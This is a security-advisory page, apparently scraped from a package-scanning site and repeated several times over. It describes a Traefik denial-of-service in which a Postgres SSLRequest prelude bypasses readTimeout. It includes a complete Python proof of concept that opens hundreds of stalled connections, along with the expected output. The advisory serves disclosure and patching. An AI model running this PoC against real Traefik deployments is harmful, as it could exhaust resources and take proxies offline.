## Impact There is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.8 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: <details> <summary>Script (Click to expand)</summary> ```python #!/usr/bin/env python3 from __future__ import annotations import os import socket import subprocess import tempfile import time from typing import Final # Hardcode the Traefik binary path. Edit as needed. TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik" HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080 STARTUP_SLEEP_SECS: Final[float] = 2.0 READ_TIMEOUT_SECS: Final[float] = 2.0 SLEEP_SECS: Final[float] = 3.5 N_CONNS: Final[int] = 300 POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F]) def fd_count(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd")) def open_idle_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): conns.append(socket.create_connection((HOST, PORT))) return conns def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): s = socket.create_connection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRES_SSLREQUEST) try: _ = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns def close_all(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(`/`)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ ) proc = subprocess.Popen( [ TRAEFIK_BIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUP_SLEEP_SECS) pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None") ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIK_BIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s") base = fd_count(pid) print(f"traefik_pid={pid} fd_base={base}") idle = open_idle_conns(N_CONNS) fd_after_open_idle = fd_count(pid) print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}") time.sleep(SLEEP_SECS) fd_after_sleep_idle = fd_count(pid) print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}") close_all(idle) pg = open_postgres_sslrequest_conns(N_CONNS) fd_after_open_pg = fd_count(pid) print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}") time.sleep(SLEEP_SECS) fd_after_sleep_pg = fd_count(pid) print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}") close_all(pg) if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0) if __name__ == "__main__": main() ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefik_pid=46204 fd_base=6 baseline_opened=300 fd_after_open=128 delta=122 baseline_after_sleep fd=6 delta_from_base=0 candidate_opened=300 fd_after_open=306 delta=300 candidate_after_sleep fd=306 delta_from_base=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. ``` </details> ### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline. </details>
## Impact There is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.8 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: <details> <summary>Script (Click to expand)</summary> ```python #!/usr/bin/env python3 from __future__ import annotations import os import socket import subprocess import tempfile import time from typing import Final # Hardcode the Traefik binary path. Edit as needed. TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik" HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080 STARTUP_SLEEP_SECS: Final[float] = 2.0 READ_TIMEOUT_SECS: Final[float] = 2.0 SLEEP_SECS: Final[float] = 3.5 N_CONNS: Final[int] = 300 POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F]) def fd_count(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd")) def open_idle_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): conns.append(socket.create_connection((HOST, PORT))) return conns def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): s = socket.create_connection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRES_SSLREQUEST) try: _ = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns def close_all(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(`/`)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ ) proc = subprocess.Popen( [ TRAEFIK_BIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUP_SLEEP_SECS) pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None") ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIK_BIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s") base = fd_count(pid) print(f"traefik_pid={pid} fd_base={base}") idle = open_idle_conns(N_CONNS) fd_after_open_idle = fd_count(pid) print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}") time.sleep(SLEEP_SECS) fd_after_sleep_idle = fd_count(pid) print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}") close_all(idle) pg = open_postgres_sslrequest_conns(N_CONNS) fd_after_open_pg = fd_count(pid) print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}") time.sleep(SLEEP_SECS) fd_after_sleep_pg = fd_count(pid) print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}") close_all(pg) if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0) if __name__ == "__main__": main() ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefik_pid=46204 fd_base=6 baseline_opened=300 fd_after_open=128 delta=122 baseline_after_sleep fd=6 delta_from_base=0 candidate_opened=300 fd_after_open=306 delta=300 candidate_after_sleep fd=306 delta_from_base=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. ``` </details> ### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline. </details>
Update github.com/traefik/traefik/v3 to 3.6.8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanTraefik: TCP readTimeout bypass via STARTTLS on Postgres affects github.com/traefik/traefik/v3 (go). Severity is high. ## Impact There is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.8 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: <details> <summary>Script (Click to expand)</summary> ```python #!/usr/bin/env python3 from __future__ import annotations import os import socket import subprocess import tempfile import time from typing import Final # Hardcode the Traefik binary path. Edit as needed. TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik" HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080 STARTUP_SLEEP_SECS: Final[float] = 2.0 READ_TIMEOUT_SECS: Final[float] = 2.0 SLEEP_SECS: Final[float] = 3.5 N_CONNS: Final[int] = 300 POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F]) def fd_count(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd")) def open_idle_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): conns.append(socket.create_connection((HOST, PORT))) return conns def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): s = socket.create_connection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRES_SSLREQUEST) try: _ = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns def close_all(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(`/`)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ ) proc = subprocess.Popen( [ TRAEFIK_BIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUP_SLEEP_SECS) pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None") ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIK_BIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s") base = fd_count(pid) print(f"traefik_pid={pid} fd_base={base}") idle = open_idle_conns(N_CONNS) fd_after_open_idle = fd_count(pid) print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}") time.sleep(SLEEP_SECS) fd_after_sleep_idle = fd_count(pid) print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}") close_all(idle) pg = open_postgres_sslrequest_conns(N_CONNS) fd_after_open_pg = fd_count(pid) print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}") time.sleep(SLEEP_SECS) fd_after_sleep_pg = fd_count(pid) print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}") close_all(pg) if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0) if __name__ == "__main__": main() ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefik_pid=46204 fd_base=6 baseline_opened=300 fd_after_open=128 delta=122 baseline_after_sleep fd=6 delta_from_base=0 candidate_opened=300 fd_after_open=306 delta=300 candidate_after_sleep fd=306 delta_from_base=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. ``` </details> ### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline. </details>
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/traefik/traefik/v3go | <=3.6.7 | 3.6.8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/traefik/traefik/v3 to 3.6.8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanTraefik: TCP readTimeout bypass via STARTTLS on Postgres affects github.com/traefik/traefik/v3 (go). Severity is high. ## Impact There is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.8 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: <details> <summary>Script (Click to expand)</summary> ```python #!/usr/bin/env python3 from __future__ import annotations import os import socket import subprocess import tempfile import time from typing import Final # Hardcode the Traefik binary path. Edit as needed. TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik" HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080 STARTUP_SLEEP_SECS: Final[float] = 2.0 READ_TIMEOUT_SECS: Final[float] = 2.0 SLEEP_SECS: Final[float] = 3.5 N_CONNS: Final[int] = 300 POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F]) def fd_count(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd")) def open_idle_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): conns.append(socket.create_connection((HOST, PORT))) return conns def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): s = socket.create_connection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRES_SSLREQUEST) try: _ = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns def close_all(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(`/`)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ ) proc = subprocess.Popen( [ TRAEFIK_BIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUP_SLEEP_SECS) pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None") ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIK_BIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s") base = fd_count(pid) print(f"traefik_pid={pid} fd_base={base}") idle = open_idle_conns(N_CONNS) fd_after_open_idle = fd_count(pid) print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}") time.sleep(SLEEP_SECS) fd_after_sleep_idle = fd_count(pid) print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}") close_all(idle) pg = open_postgres_sslrequest_conns(N_CONNS) fd_after_open_pg = fd_count(pid) print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}") time.sleep(SLEEP_SECS) fd_after_sleep_pg = fd_count(pid) print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}") close_all(pg) if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0) if __name__ == "__main__": main() ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefik_pid=46204 fd_base=6 baseline_opened=300 fd_after_open=128 delta=122 baseline_after_sleep fd=6 delta_from_base=0 candidate_opened=300 fd_after_open=306 delta=300 candidate_after_sleep fd=306 delta_from_base=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. ``` </details> ### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline. </details>
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/traefik/traefik/v3go | <=3.6.7 | 3.6.8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard